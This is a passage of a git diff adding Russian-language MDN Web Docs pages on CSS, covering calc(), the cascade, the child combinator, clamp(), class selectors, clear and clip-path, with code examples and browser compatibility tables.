calc() - это функция CSS, которая даёт возможность расчитать значения свойств CSS во время их определения. Она может быть использована везде, где применимы {{cssxref("<length>")}}, {{cssxref("<frequency>")}}, {{cssxref("<angle>")}}, {{cssxref("<time>")}}, {{cssxref("<number>")}}, или {{cssxref("<integer>")}}.

+ +

{{EmbedInteractiveExample("pages/css/function-calc.html")}}

+ +

Синтаксис

+ +

Функция calc() принимает в качестве параметра математическое выражение, результат вычисления которого можно использовать как значение CSS свойства. Выражение может включать операторы +, -, *, / с использованием стандартных правил приоритета операторов:

+ +
+
+
+
Сложение
+
-
+
Вычитание.
+
*
+
Умножение. По крайней мере хоть один из сомножителей должен быть {{cssxref("<number>")}}.
+
/
+
Деление. Делитель должен быть  {{cssxref("<number>")}}.
+
+ +

Операнды в expression могут быть различными выражениями {{cssxref("<length>")}}. Если пожелаете, то можете использовать разные единицы измерения для каждого из операндов. Вы также можете использовать скобки, чтобы указать порядок вычисления.

+ +
Внимание: Деление на ноль выдаст ошибку при парсинге HTML.
+ +
Note: Операторы + и - всегда должны быть по обеим сторонам отеделены пробелом. Выражение calc(50% -8px) будет интерпретировано как величина в процентах и следующее за ним отрицательное число в пикселях (не верное выражение), в то время как calc(50% - 8px) - правильное выражение, будет интерпретировано как вычитание из процентов длины в пикселях.
+Операторы * и / не требуют отделения от операндов знаком пробела, но это не запрещено и даже приветствуется.
+ +
+
+ +

Формальный синтаксис

+ +
calc(expression)
+ +

Примеры

+ +

Позиционирование объекта в окне с помощью отступа

+ +

calc() делает простым позиционирование объекта с помощью отступа. В этом примере создается баннер занимающий в ширину все окно с отступами по краям в 40px. 

+ +
.banner {
+  position: absolute;
+  left: 5%;                 /* для браузеров не поддерживающих calc() */
+  left: calc(40px);
+  width: 90%;               /* для браузеров не поддерживающих calc() */
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+}
+
+ +
<div class="banner">Это баннер!</div>
+ +

{{ EmbedLiveSample('%D0%9F%D0%BE%D0%B7%D0%B8%D1%86%D0%B8%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%B0_%D0%B2_%D0%BE%D0%BA%D0%BD%D0%B5_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_%D0%BE%D1%82%D1%81%D1%82%D1%83%D0%BF%D0%B0', '100%', '60') }}

+ +

Автоматическое изменение размера формы ввода для соответствия размеру контейнера

+ +

В следующем случае calc() помогает обеспечить не выпадание полей формы за края блока, задав отступ.

+ +

Давайте посмотрим некоторый код CSS:

+ +
input {
+  padding: 2px;
+  display: block;
+  width: 98%;               /* для браузеров, не поддерживающих calc() */
+  width: calc(100% - 1em);
+}
+
+#formbox {
+  width: 130px;             /* для браузеров, не поддерживающих calc() */
+  width: calc(100% / 6);
+  border: 1px solid black;
+  padding: 4px;
+}
+
+ +

Здесь ширина формы становится 1/6 от ширины окна. Затем, чтобы задать  размер полей, мы вновь используем функцию calc(), которая вычитает 1em из ширины блока. Теперь применим этот CSS к следущему HTML-коду:

+ +
<form>
+  <div id="formbox">
+  <label>Type something:</label>
+  <input type="text">
+  </div>
+</form>
+
+ +

{{ EmbedLiveSample('%D0%90%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D0%B0_%D1%84%D0%BE%D1%80%D0%BC%D1%8B_%D0%B2%D0%B2%D0%BE%D0%B4%D0%B0_%D0%B4%D0%BB%D1%8F_%D1%81%D0%BE%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D1%80%D0%B0%D0%B7%D0%BC%D0%B5%D1%80%D1%83_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%B9%D0%BD%D0%B5%D1%80%D0%B0', '100%', '80') }}

+ +

Вложенный calc() с CSS переменными

+ +

Вы также можете использовать calc() с CSS переменными. Рассмотрим пример кода:

+ +
.foo {
+  --widthA: 100px;
+  --widthB: calc(var(--widthA) / 2);
+  --widthC: calc(var(--widthB) / 2);
+  width: var(--widthC);
+}
+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусЗамечания
{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}{{Spec2('CSS3 Values')}}
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка19 (WebKit 536.3) {{property_prefix("-webkit")}}
+ 26		{{CompatGeckoDesktop("2")}} {{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16")}}		9-6 {{property_prefix("-webkit")}} (buggy)
+ 7
On gradients' color stops19 (WebKit 536.3) {{property_prefix("-webkit")}}
+ 27 (maybe 26)		{{CompatGeckoDesktop("19")}}9-6 {{property_prefix("-webkit")}} (buggy)
+ 7
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка<= 2.3.6 not supported{{CompatGeckoMobile("2")}} {{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16")}}		{{CompatUnknown}}{{CompatUnknown}}<= IOs 6.1.3 not supported
+ 6 {{property_prefix("-webkit")}}
+ 7
On gradients' color stops{{CompatUnknown}}{{CompatGeckoMobile("19")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/cascade/index.html b/files/ru/web/css/cascade/index.html new file mode 100644 index 0000000000..f1c17ceff6 --- /dev/null +++ b/files/ru/web/css/cascade/index.html @@ -0,0 +1,154 @@ +--- +title: Cascade +slug: Web/CSS/Cascade +translation_of: Web/CSS/Cascade +--- +

{{ CSSRef() }}

+ + + +

Каскадность это алгоритм, который определяет как совмещать и сочетать значения свойств происходящих из различных источников(CSS правила могут располагаться как в самом веб-документе, так и во внешних файлах). Данный алгоритм лежит в основе CSS, как можно понять из его названия: Cascading Style Sheets(Каскадные Таблицы Стилей). Данная статья объясняет что такое каскадность, порядок в котором определяется какие свойства будут в конечном итоге выполнены и как это затрагивает вас, веб разработчика.

+ +

What CSS entities participate in the cascade

+ +

Only CSS declarations, that is property/value pairs, participate in the cascade. That means that at-rules containing entities other than declarations, like  {{ cssxref("@font-face")}} containing descriptors don't participate in the cascade. In these case, only the at-rule as the whole participates in the cascade; here the @font-face identified by its font-family descriptor. If several @font-face with the same descriptor are defined, only the most adequate @font-face, as a whole, is considered.

+ +

If the declarations contained in most at-rules participate in the cascade, like declarations contained in {{cssxref("@media")}}, {{cssxref("@documents")}}, or {{cssxref("@supports")}}, declarations contained in {{cssxref("@keyframes")}} doesn't. Like for {{cssxref("@font-face")}}, only the at-rule as a whole is selected via the cascade algorithm.

+ +

Finally note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.

+ +

Origin of CSS declarations

+ +

The CSS cascade algorithm wants to select CSS declarations to set the correct value for CSS properties. CSS declarations originate from different origins:

+ +
    +
  • The browser has a basic style sheet that gives a default style to any document. These style sheets are named user-agent stylesheets. Some browsers uses actual style sheets to perform this, while others simulate them in code, but both cases should be indetectable. Some browsers also allow users to modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To ease their development and lower the basic ground on which to work, Web developers often use a CSS reset style sheet, forcing common properties values to a known state.
    • +
  • The author of the Web page define styles for the document. These are the most common style sheets. Most of the time several of them are defined and they make the look and feel of the Web site — its theme.
    • +
  • The reader, the user of the browser, may have a custom style sheet to tailor its experience.
    • +
+ +

Though style sheets come from these different origins, they overlap in scope: the cascade algorithm defines how they interact.

+ +

Cascading order

+ +

The cascading algorithm determines how to find the value to apply for each property for each document element.

+ +
    +
  1. It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.
    2. +
  2. Then it sorts these rules according to their importance, that is, whether or not they are followed by !important, and by their origin. The cascade is in ascending order, which means that !important values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OriginImportance
    1user agentnormal
    2usernormal
    3authornormal
    4CSS Animationssee below
    5author!important
    6user!important
    7user agent*!important
    + * based on w3.org CSS3 specs
    3. +
+ +
    +
  1. In case of equality, the specificity of a value is considered to choose one or the other.
    2. +
+ +

CSS animations and the cascade

+ +

CSS Animations, using {{ cssxref("@keyframes")}} at-rules defines animations between states. Keyframes don't cascade, meaning that at any time CSS takes values from one single @keyframes and never mixes several of them.

+ +

When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.

+ +

Also note that values within @keyframes at-rules overwrite all normal values but are overwritten by !important values.

+ +

Example

+ +

User-agent CSS:

+ +
li { margin-left: 10px }
+ +

Author CSS 1:

+ +
li { margin-left: 0 } /* This is a reset */
+ +

Author CSS 2:

+ +
@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+
+ +

User CSS:

+ +
.specific { margin-left: 1em }
+ +

HTML:

+ +
<ul>
+  <li class="specific">1<sup>st</sup></li>
+  <li>2<sup>nd</sup></li>
+</ul>
+
+ +

In this case, declarations inside li and .specific rules should apply. No declaration is marked as !important so the precedence order is author style sheets before user style sheets or user-agent stylesheet.

+ +

So three declarations are in competition:

+ +
margin-left: 0
+ +
margin-left: 3px
+ +
margin-left: 1px
+ +

The last one is ignored (on a screen), and the two first have the same selector, hence the same specificity: it is the last one that is then selected:

+ +
margin-left: 3px
+ +

Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.

+ +

See also

+ +
    +
  • The very simple introduction of cascading in the CSS Tutorial.
    • +
  • {{CSS_Key_Concepts()}}
    • +
diff --git a/files/ru/web/css/child_combinator/index.html b/files/ru/web/css/child_combinator/index.html new file mode 100644 index 0000000000..c7c42c79da --- /dev/null +++ b/files/ru/web/css/child_combinator/index.html @@ -0,0 +1,112 @@ +--- +title: Селектор дочерних элементов +slug: Web/CSS/Child_combinator +translation_of: Web/CSS/Child_combinator +--- +

{{CSSRef("Selectors")}}

+ +

Описание

+ +

Комбинатор > разделяет 2 селектора, находит элементы заданные вторым селектором, являющие прямыми потомками для элементов отобранных первым селектором. Напротив, два селектора в селекторе потомков  находят элементы не обязательно являющиеся прямыми потомками, т.е. несмотря на количество "прыжков" до них в DOM.

+ +

Синтаксис

+ +
selector1 > selector2 { style properties }
+
+ +

Пример

+ +
span { background-color: white; }
+div > span {
+  background-color: DodgerBlue;
+}
+
+ +
<div>
+  <span>Span 1 в div
+    <span>Span 2 в span, который в div</span>
+  </span>
+</div>
+<span>Span 3. Не в div вообще</span>
+
+ +

{{ EmbedLiveSample('Example', 200, 100) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#child-combinators', 'child combinator') }}{{ Spec2('CSS4 Selectors') }} 
{{ SpecName('CSS3 Selectors', '#child-combinators', 'child combinators') }}{{ Spec2('CSS3 Selectors') }}Без изменений
{{ SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors') }}{{ Spec2('CSS2.1') }}Изначальное определение
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}7.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/css/clamp()/index.html b/files/ru/web/css/clamp()/index.html new file mode 100644 index 0000000000..d876cc3d6c --- /dev/null +++ b/files/ru/web/css/clamp()/index.html @@ -0,0 +1,108 @@ +--- +title: clamp() +slug: Web/CSS/clamp() +translation_of: Web/CSS/clamp() +--- +
{{CSSRef}}
+ +

CSS-функция clamp() задаёт значение в диапазоне между указанными нижней и верхней границами. Функция принимает три аргумента: минимальное значение, предпочитаемое значение и максимально допустимое. Может использоваться везде, где допускается применение {{CSSxRef("<length>")}}, {{CSSxRef("<frequency>")}}, {{CSSxRef("<angle>")}}, {{CSSxRef("<time>")}}, {{CSSxRef("<percentage>")}}, {{CSSxRef("<number>")}}, или {{CSSxRef("<integer>")}}.

+ +

clamp(MIN, VAL, MAX) вычисляется как {{CSSxRef("max", "max")}}(MIN, {{CSSxRef("min", "min")}}(VAL, MAX))

+ +
/* свойство: clamp(expression{3}) */
+width: clamp(10px, 4em, 80px);
+ +

В примере выше ширина будет не меньше 10px и не больше 80px. Но если размер одного "em" будет находиться в диапазоне от 2.5px до 20px (в сумме от 10px до 80px), то ширина будет равняться этим 4em.

+ +

Давайте предположим, что в примере выше 1em равен 16px:

+ +
width: clamp(10px, 4em, 80px);
+/* если 1em = 16px, 4em = (16px * 4) = 64px */
+width: clamp(10px, 64px, 80px);
+/* clamp(MIN, VAL, MAX) вычисляется как max(MIN, min(VAL, MAX))) */
+width: max(10px, min(64px, 80px))
+width: max(10px, 64px);
+width: 64px;
+ +

Синтаксис

+ +

Функция clamp() принимает в качестве аргументов три разделённых запятой выражения, указываемых в порядке: минимальное значение, предпочитаемое значение, максимальное значение.

+ +

Минимальное значение – наименьшее значение, являющееся нижней границей диапазона допустимых значений. Если "предпочитаемое" значение меньше "минимального", будет использоваться именно "минимальное".

+ +

Предпочитаемое значение – это выражение, чей результат будет использовать до тех пор, пока будет оставаться в пределах допустимого диапазона значений.

+ +

Максимальное значение – наибольшее значение, которое будет устанавливаться, если предпочитаемое будет превышать верхную границу допустимого диапазона.

+ +

Передаваемые значения могут быть математическими функциями (более подробно смотрите на {{CSSxRef("calc")}}), точными значениями, или другими выражениями, такими как {{CSSxRef("attr", "attr()")}}, результатом которых является допустимый тип аргумента (как например {{CSSxRef("<length>")}}), или вложенные {{CSSxRef("min")}} и {{CSSxRef("max")}} функции. Для математических выражений можно использовать сложение, вычитание, умножение и деление без использования функции calc(). Также, можно использовать круглые скобки, чтобы задать порядок вычисление.

+ +

Можно использовать разные единицы измерения для каждого значения в выражении и разные единицы измерения в любой математической функции, .являющейся частью любого из аргументов.

+ +

Примечания

+ +
    +
  • Математические выражения, включающие в себя проценты для ширины и высоты колонок таблицы, групп колонок таблицы, строк таблицы, групп строк таблицы и ячеек таблицы и при значении "auto" и при значении "fixed" свойства "table-layout" могут обрабатываться как если бы было задано значение auto.
    • +
  • Допускается вкладывать функции max() и min() в качестве значений выражений, в этом случае внутренние обрабатываются как простые скобки. Выражения являются полностью математическими выражениями, поэтому вы можете использовать сложения, вычитание, умножение и деление без использования самой функции calc().
    • +
  • Выражение может быть значениями, объединяющими операторы сложения (+), вычитания (-), умножения (*) и деления (/) с использованием стандартных правил приоритета операторов. Не забудьте поставить пробелы с каждой стороны от операндов + и -. Операнды в выражении могут иметь любое значение синтаксиса {{CSSxRef ("<length>")}}. Вы можете использовать разные единицы для каждого значения в своём выражении. Вы также можете использовать круглые скобки, чтобы установить порядок вычислений, когда это необходимо.
    • +
  • Часто вам может понадобиться использовать {{CSSxRef ("min")}} и {{CSSxRef ("max")}} в функции clamp ().
    • +
+ +

Formal syntax

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

Установка минимального и максимального размера шрифта

+ +

clamp() позволяет вам установить размер шрифта, который изменяется в зависимости от ширины области видимости, но не уменьшается ниже и не увеличивается выше заданного размера. Она имеет тот же эффект, что и в Fluid Typography, но в одну строку и без использования медиа-запросов.

+ +
p { font-size: clamp(1rem, 2.5vw, 1.5rem); }
+
+ +
<p>
+If 2.5vw is less than 1rem, the font-size will be 1rem.
+If 2.5vw is greater than 1.5rem, the font-size will be 1.5rem.
+Otherwise, it will be 2.5vw.
+</p>
+
+ +

{{EmbedLiveSample("Setting_a_minimum_and_max_size_for_a_font", "100%", "300")}}

+ +

Accessibility concerns

+ +

TBD

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Values", "#calc-notation", "clamp()")}}{{Spec2('CSS4 Values')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("css.types.clamp")}}

+ +

See also

+ +
    +
  • {{CSSxRef("calc")}}
    • +
  • {{CSSxRef("max")}}
    • +
  • {{CSSxRef("min")}}
    • +
  • CSS Values
    • +
diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html new file mode 100644 index 0000000000..ce498a8a2b --- /dev/null +++ b/files/ru/web/css/class_selectors/index.html @@ -0,0 +1,121 @@ +--- +title: Селекторы по классу +slug: Web/CSS/Class_selectors +translation_of: Web/CSS/Class_selectors +--- +
{{CSSRef("Selectors")}}
+ +

Краткое описание

+ +

В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделенный пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведенному в селекторе.

+ +

Синтаксис

+ +
.classname { style properties }
+ +

Это эквивалетно следующему {{ Cssxref("Attribute_selectors", "селектор по атрибуту") }}:

+ +
[class~=classname] { style properties }
+ +

Пример

+ +

CSS

+ +
span.classy {
+  background-color: DodgerBlue;
+}
+
+ +

HTML

+ +
<span class="classy">Здесь span с каким-то текстом.</span>
+<span>А тут другой span.</span>
+
+ +

{{ EmbedLiveSample('Example', 200, 50) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#class-html', 'class selectors') }}{{ Spec2('CSS4 Selectors') }}Без изменений
{{ SpecName('CSS3 Selectors', '#class-html', 'class selectors') }}{{ Spec2('CSS3 Selectors') }} 
{{ SpecName('CSS2.1', 'selector.html#class-html', 'child selectors') }}{{ Spec2('CSS2.1') }} 
{{ SpecName('CSS1', '#class-as-selector', 'child selectors') }}{{ Spec2('CSS1') }}Изначальное определение
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html new file mode 100644 index 0000000000..1a0c6172b1 --- /dev/null +++ b/files/ru/web/css/clear/index.html @@ -0,0 +1,237 @@ +--- +title: clear +slug: Web/CSS/clear +tags: + - CSS + - Справка +translation_of: Web/CSS/clear +--- +
{{CSSRef}}
+ +

Свойство clear CSS указывает, может ли элемент быть рядом с плавающими  floating элементами, которые предшествуют ему или должны быть перемещены вниз (очищены) под ними. Свойство clear применяется как к плавающим, так и к неплавающим элементам.

+ +
{{EmbedInteractiveExample("pages/css/clear.html")}}
+ + + +

При применении к неплавающим блокам он перемещает границу края border edge элемента до тех пор, пока не окажется ниже края margin edge поля всех соответствующих поплавков. Вертикальный край неплавающего блока сжимается.

+ +

Вертикальные поля между двумя плавающими элементами, с другой стороны, не будут разрушаться. При применении к плавающим элементам -  margin edge нижнего элемента перемещается ниже margin edge всех соответствующих поплавков. Это влияет на положение более поздних поплавков, поскольку более поздние поплавки не могут быть расположены выше предыдущих.

+ +

Поплавки, которые имеют отношение к очистке, - это более ранние поплавки в одном и том же контексте форматирования блоков. 

+ +
+

Заметка: Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется clearfix, и один из способов сделать это - это заменит clear замененный {{cssxref("::after")}} псевдоэлемент на нем.

+ +
#container::after {
+  content: "";
+  display: block;
+  clear: both;
+}
+
+
+ +

Синтаксис

+ +
/* Значения ключевых слов */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* Global values */
+clear: inherit;
+clear: initial;
+clear: unset;
+
+ +

Значения

+ +
+
none
+
Является ключевым словом, указывающим, что элемент не перемещается вниз, чтобы очистить предыдущие плавающие элементы.
+
left
+
Является ключевым словом, указывающим, что элемент перемещается вниз, чтобы очистить левые поплавки.
+
right
+
Является ключевым словом, указывающим, что элемент перемещается вниз, чтобы удалить прошлые правые поплавки.
+
both
+
Это ключевое слово, указывающее, что элемент перемещается вниз, чтобы очистить как левые, так и правые поплавки.
+
inline-start
+
Является ключевым словом, указывающим, что элемент перемещается вниз для очистки поплавков в начале содержащего его блока, то есть левые поплавки на скриптах ltr и правые поплавки на скриптах rtl.
+
inline-end
+
Является ключевым словом, указывающим, что элемент перемещается вниз для очистки поплавков в конце содержащего его блока, то есть правые поплавки на скриптах ltr и левые поплавки на скриптах rtl.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

clear: left

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Давай лучше "бёзди хэппи" затянем, нежели Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="red">Пусть бегут неуклюже пешеходы по лужам, Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="left">Этот абзац очищается слева.</p>
+</div>
+
+ +

CSS

+ +
.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.left {
+  border: 1px solid black;
+  clear: left;
+}
+.black {
+  float: left;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width: 20%;
+}
+.red {
+  float: left;
+  margin: 0;
+  background-color: pink;
+  width:20%;
+}
+p {
+  width: 50%;
+}
+
+ +

{{EmbedLiveSample('clear:_left','100%','250')}}

+ +

clear: right

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Лучше нести бред и околесицу, но более осмысленную, чем Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="red">- Так я ж намедни намекал, что Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
+  <p class="right">Этот абзац очищается справа.</p>
+</div>
+
+ +

CSS

+ +
.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.right {
+  border: 1px solid black;
+  clear: right;
+}
+.black {
+  float: right;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width:20%;
+}
+.red {
+  float: right;
+  margin: 0;
+  background-color: pink;
+  width:20%;
+}
+p {
+  width: 50%;
+}
+ +

{{EmbedLiveSample('clear:_right','100%','250')}}

+ +

clear: both

+ +

HTML

+ +
<div class="wrapper">
+  <p class="black">Лучше нести осмысленную белиберду, чем "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.</p>
+  <p class="red">Вот я и говорю, что "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor".</p>
+  <p class="both">Этот абзац очищает оба.</p>
+</div>
+
+ +

CSS

+ +
.wrapper{
+  border:1px solid black;
+  padding:10px;
+}
+.both {
+  border: 1px solid black;
+  clear: both;
+}
+.black {
+  float: left;
+  margin: 0;
+  background-color: black;
+  color: #fff;
+  width:20%;
+}
+.red {
+  float: right;
+  margin: 0;
+  background-color: pink;
+  width:20%;
+}
+p {
+  width: 45%;
+}
+ +

{{EmbedLiveSample('clear:_both','100%','300')}}

+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}Добавляет значения inline-start и inline-end. 
{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}{{Spec2('CSS2.1')}}Никаких существенных изменений, хотя детали уточняются.
{{SpecName('CSS1', '#clear', 'clear')}}{{Spec2('CSS1')}}Начальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузером

+ + + +

{{Compat("css.properties.clear")}}

+ +
 
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html new file mode 100644 index 0000000000..c218eb1f00 --- /dev/null +++ b/files/ru/web/css/clip-path/index.html @@ -0,0 +1,586 @@ +--- +title: clip-path +slug: Web/CSS/clip-path +translation_of: Web/CSS/clip-path +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS свойство clip-path создает ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (circle()).

+ +
+

Историческая справка: Свойство clip-path заменило устаревшее свойство {{cssxref("clip")}} .

+
+ +
/* Keyword values */
+clip-path: none;
+
+/* Image values */
+clip-path: url(resources.svg#c1);
+
+/* Box values */
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+
+/* Geometry values */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+
+/* Box and geometry values combined */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* Global values */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+
+ + + +

{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}

+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Свойство clip-path определяется как одно или комбинация значений перечисленных ниже.

+ +

Значения

+ +
+
url()
+
Представляет URL ссылку на траекторию, ограничивающую элемент.
+
inset(), circle(), ellipse(), polygon()
+
Функция {{cssxref("<basic-shape>")}}. Размер и положение области определяется значением <geometry-box>. Если геометрия не определена,border-box будет использоваться в качестве блока.
+
<geometry-box>
+
Если определен в комбинации с <basic-shape>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений: +
+
fill-box
+
Использует границы объекта в качестве базовой области.
+
stroke-box
+
Использует stroke bounding box в качестве базовой области.
+
view-box
+
Использует ближайший SVG viewport в качестве базового блока. Если отриут {{SVGAttr("viewBox")}} определен для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом viewBox и ширина и высота базового блока устанавливаются равными значениям атрибута viewBox.​​​​​​​
+
margin-box
+
Использует margin box в качестве базового блока.
+
border-box
+
Использует border box в качестве базового блока.
+
padding-box
+
Использует padding box в качестве базового блока.
+
content-box
+
Использует content box в качестве базового блока.
+
+
+
none
+
Обрезанная область не создается.
+
+ +

Формальный синтаксис.

+ +
{{csssyntax}}
+ +

Примеры

+ +
/* Inline SVG  */
+.target {
+  clip-path: url(#c1);
+}
+
+/* External SVG */
+.anothertarget {
+  clip-path: url(resources.svg#c1);
+}
+
+/* Circle shape */
+.circleClass {
+  clip-path: circle(15px at 20px 20px);
+}
+ +

Живой пример

+ +

HTML

+ +
<img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo">
+<svg height="0" width="0">
+  <defs>
+    <clipPath id="cross">
+      <rect y="110" x="137" width="90" height="90"/>
+      <rect x="0" y="110" width="90" height="90"/>
+      <rect x="137" y="0" width="90" height="90"/>
+      <rect x="0" y="0" width="90" height="90"/>
+    </clipPath>
+  </defs>
+</svg>
+
+<select id="clipPath">
+  <option value="none">none</option>
+  <option value="circle(100px at 110px 100px)">circle</option>
+  <option value="url(#cross)" selected>cross</option>
+  <option value="inset(20px round 20px)">inset</option>
+</select>
+
+ +

CSS

+ +
#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+
+ + + +

Результат

+ +

{{EmbedLiveSample("Live_sample", 230, 250)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}{{Spec2('CSS Masks')}}Extends its application to HTML elements.
{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}{{Spec2('SVG1.1')}}Initial definition (applies to SVG elements only).
+ +

Совместимость

+ + + +

{{Compat("css.properties.clip-path")}}

+ +

Смотрите также

